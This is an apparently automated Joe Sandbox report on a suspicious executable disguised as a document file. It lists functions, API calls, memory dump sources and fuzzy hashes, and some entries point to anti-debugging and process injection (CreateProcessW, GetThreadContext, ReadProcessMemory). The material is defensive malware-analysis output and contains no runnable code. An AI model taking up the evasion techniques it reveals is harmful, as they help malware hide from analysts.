Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __flush__getptd_noexit_memmove
String ID:
API String ID: 3662107617-0
Opcode ID: 9e5238af4f93087f8e5510cddb81ebd4f4ffd6b6554c3a66413832ef0355d351
Instruction ID: 30436b56abcf85340e8ee0b9b7ee35e1fdf5935d43502ac56b3b45494dcb431e
Opcode Fuzzy Hash: 9e5238af4f93087f8e5510cddb81ebd4f4ffd6b6554c3a66413832ef0355d351
Instruction Fuzzy Hash: 1A41A5B1B00606EFFF388E69C88656E77A5AF44360F24853DE855C7242DB79DF408B50

Function 00713682 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

745EC8D0.UXTHEME ref: 007136E6

Part of subcall function 00732025: __lock.LIBCMT ref: 0073202B

Part of subcall function 007132DE: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 007132F6
Part of subcall function 007132DE: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0071330B

Part of subcall function 0071374E: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0071376D
Part of subcall function 0071374E: IsDebuggerPresent.KERNEL32(?,?), ref: 0071377F
Part of subcall function 0071374E: GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\DOC092024-0431202229487.exe,00000104,?,007D1120,C:\Users\user\Desktop\DOC092024-0431202229487.exe,007D1124,?,?), ref: 007137EE
Part of subcall function 0071374E: SetCurrentDirectoryW.KERNEL32(?), ref: 00713860

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00713726

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$DebuggerFullNamePathPresent__lock
String ID:
API String ID: 3809921791-0
Opcode ID: 19d992e328cd8f453f5f14862d7403477141f9dc373680bdadd573fd36bc80c1
Instruction ID: 3224a64c31384f7b65f14a32cce86d90fa92ed975380c87b89b4c25d86d37a07
Opcode Fuzzy Hash: 19d992e328cd8f453f5f14862d7403477141f9dc373680bdadd573fd36bc80c1
Instruction Fuzzy Hash: D3118171908341EBC310EF69E94990ABFF8FF94710F00851FF444832A2DB789946CB96

Function 0073F782 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0073F7D9
__close_nolock.LIBCMT ref: 0073F7F2

Part of subcall function 0073886A: __getptd_noexit.LIBCMT ref: 0073886A

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: b4de08453b027825fd42496d818f1e07f9dc6d831d9e3b7ac65a0cc8bd48c398
Instruction ID: 53390651ab4d2d7a7959758e2a0ca77eec73da229e99c70f3356f44f70712a86
Opcode Fuzzy Hash: b4de08453b027825fd42496d818f1e07f9dc6d831d9e3b7ac65a0cc8bd48c398
Instruction Fuzzy Hash: F111C272D16614DEF7197F68D84A3DC77A05F41371FA54260E5205F2E3CBBCA90086A6

Function 007344C9 Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007344F8
__lock_file.LIBCMT ref: 00734519

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 210d6491a8b9a2399c97d3b52e8df805fbf9165a5c4ba00b0cd754b946ac0741
Instruction ID: ee18c51b8a31f6c3d771a411e24e847cd80c49ae2184e482029c584e5c1ebd34
Opcode Fuzzy Hash: 210d6491a8b9a2399c97d3b52e8df805fbf9165a5c4ba00b0cd754b946ac0741
Instruction Fuzzy Hash: 940184B1C00209EBEF25AF699C0999F7B71BF80760F148215F42416193E7399A21EB91

Function 00734274 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

__lock_file.LIBCMT ref: 007342B9

Part of subcall function 00735A9F: __lock.LIBCMT ref: 00735AC2

__fclose_nolock.LIBCMT ref: 007342C4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 78caf4d5447777ffc4cf1b920322d850d22c28e970f3af0a7832cce0be5c16d5
Instruction ID: e838f5e0d3f2578aaa02abce5cb021945450f859f7cb38f3a10157153e5c7bbb
Opcode Fuzzy Hash: 78caf4d5447777ffc4cf1b920322d850d22c28e970f3af0a7832cce0be5c16d5
Instruction Fuzzy Hash: 79F0B472801708DAF728AB79880AB5F6BD07F41334F218209B824BB1C3CB7CA9019B55

Function 04D7129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 04D71A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04D71AF1
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 04D71B13

Memory Dump Source

Source File: 00000000.00000002.1692690521.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction ID: c082b0951f42ddf1cf4f408a423160ea78713e83bd549538683795ae94e357ec
Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction Fuzzy Hash: 5E12DD24E24658C6EB24DF64D8507DEB232FF68300F1091E9910DEB7A4E77A5F81CB5A

Function 0078AA5A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0078AA65

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 64a6ce5cdeccd3a1eda4ee4f790808e6738ecb720426c01faf0d91e7a443e3fb
Instruction ID: 7de28f6955f39a0b92caa7449e580003b444a5c08f2a69e21ec6971100034550
Opcode Fuzzy Hash: 64a6ce5cdeccd3a1eda4ee4f790808e6738ecb720426c01faf0d91e7a443e3fb
Instruction Fuzzy Hash: CA413A70504651CFEB24DF18D448B1ABBE1BF45304F19856CE9964B362C339EC85CF92

Function 0073FAB6 Relevance: 1.6, APIs: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 7d73569efa0ed76dc4c1848710279fc417d3be7bbfd0392529b60d979c86bf13
Instruction ID: 2ea4a9c7ff71274908f7f6953bb4655e80261d97cf0b401f8b3aed39baf1e146
Opcode Fuzzy Hash: 7d73569efa0ed76dc4c1848710279fc417d3be7bbfd0392529b60d979c86bf13
Instruction Fuzzy Hash: 9C218BF2D11604CFFB116FB8C859799B7A06F423A1F6546A0F5604B1E3CBBC98008B66

Function 00713F9B Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00713F5D: FreeLibrary.KERNEL32(00000000,?), ref: 00713F90

Part of subcall function 00734129: __wfsopen.LIBCMT ref: 00734134

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,007134E2,?,00000001), ref: 00713FCD

Part of subcall function 00713E78: FreeLibrary.KERNEL32(00000000), ref: 00713EAB

Part of subcall function 00714010: _memmove.LIBCMT ref: 0071405A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: e2a860e49bbdbcc569e3a055ee6554a0996bf15b1109985165162247e0fba2df
Instruction ID: 49c8b0d2cabc00d09579b04183ead3744d96b657b5100bacb358c3c44ef917a1
Opcode Fuzzy Hash: e2a860e49bbdbcc569e3a055ee6554a0996bf15b1109985165162247e0fba2df
Instruction Fuzzy Hash: 2B11A332610309FACB24BB68DC0ABDD76A9AF50B41F108829F542E71C1DB7C9E85AB50

Function 0078AB2A Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0078AB36

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 8e6e6d0b56abf3701c747829dc9b611b6665ea0b443b5c0b1a17c5e202945348
Instruction ID: ea4c7d816aff1aa49f2f2e019d943ef62c23ce2ce36d433aeea1150186335366
Opcode Fuzzy Hash: 8e6e6d0b56abf3701c747829dc9b611b6665ea0b443b5c0b1a17c5e202945348
Instruction Fuzzy Hash: 90212570508651CFEB24DF28D448B1ABBE1BF89344F154968E99647622C339F885CFA2

Function 0073BD14 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0073BD73

Part of subcall function 0073886A: __getptd_noexit.LIBCMT ref: 0073886A

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle
String ID:
API String ID: 1144279405-0
Opcode ID: 2182703caa611f48bd50398bbb22b94a4909bd32c7a4cf8f95918a31f5f92603
Instruction ID: f12716ddeaccb3f0c9588988c877b85eb27daef438d5b84162d3d40bfb82a49f
Opcode Fuzzy Hash: 2182703caa611f48bd50398bbb22b94a4909bd32c7a4cf8f95918a31f5f92603
Instruction Fuzzy Hash: 2E119172A25614DFF7126F64D84A79C77606F41331FA54244F6640F1E3DBBC99008BA6

Function 0071CAEE Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0071CB2F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction ID: 25650c7ebe5d70084d8ece8907b7ce62483d1c5965268cf5e7669fd316fa8c4d
Opcode Fuzzy Hash: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction Fuzzy Hash: EB01FEB1144701AED3259B7CD80BE66B7B4DF44760F50C53EF55ACB1D1EB75E4408690

Function 00751255 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0074A857: CLSIDFromProgID.COMBASE ref: 0074A874
Part of subcall function 0074A857: ProgIDFromCLSID.COMBASE(?,00000000), ref: 0074A88F
Part of subcall function 0074A857: lstrcmpiW.KERNEL32(?,00000000), ref: 0074A89D
Part of subcall function 0074A857: CoTaskMemFree.COMBASE(00000000), ref: 0074A8AD

IIDFromString.COMBASE(00000000,?), ref: 0075128C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: ec7a456b5f475e0187c2648f8f2bfc794b37e1a68978fc86bce6ca8a4d2bb4b1
Instruction ID: 65494e4f0adb115d8c8eeee0acd167ed725055d175cdd7ece9264f74fe47e6cd
Opcode Fuzzy Hash: ec7a456b5f475e0187c2648f8f2bfc794b37e1a68978fc86bce6ca8a4d2bb4b1
Instruction Fuzzy Hash: 73F09075240205EBCB00CE05D880FD67B69FB49332F50C129ED08CE105D7F9E949CBA0

Function 0073373E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0073377D

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 1841c7cf978532abda3bd14b84061f9da728628892cabf96d714569d4d070716
Instruction ID: d08fb11306572869762d1de99a168b1fcd08775e2966894c805af3d9289d9e3c
Opcode Fuzzy Hash: 1841c7cf978532abda3bd14b84061f9da728628892cabf96d714569d4d070716
Instruction Fuzzy Hash: 8EF062F1500209EAFF31AF748C4A7EE7660AF00321F148514B4149A193D77D8B50DB91

Function 00713E39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,007134E2,?,00000001), ref: 00713E6D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 152de02c9cf2391e5a78aae096e0c4897a9e05fe2410de62648e73f2ca0964bc
Instruction ID: 3f99b06d5ca894612bba6b024f996d62467fd733492aa246b59017f271f8e031
Opcode Fuzzy Hash: 152de02c9cf2391e5a78aae096e0c4897a9e05fe2410de62648e73f2ca0964bc
Instruction Fuzzy Hash: E7F039B5101741CFDB349F68D494893BBF0BF047153248A3FE1D682661C739A988DF00

Function 0075C5E0 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0075C602

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 492180ca1bef3efad2d53918f452df281755ef4fe598974afbbc038f049d315f
Instruction ID: e5290028ab8cdc0fb91abbb08492761511dd778a98ef8263a296ff2c78109d3b
Opcode Fuzzy Hash: 492180ca1bef3efad2d53918f452df281755ef4fe598974afbbc038f049d315f
Instruction Fuzzy Hash: FEE092B1604B009FDF398A24D8407E373E8DB45311F00081DF6AA82243E6B278098649

Function 00734129 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00734134

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 14bf6a6adfd0c5f4aef2e309d276156da24f8723ff868630ed3e63eb4aa2d694
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 83B0927244030CB7DE112A82EC02A493B199B50660F008020FB0C18162A677AAA09A89

Function 0072F92C Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 0072F9DB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
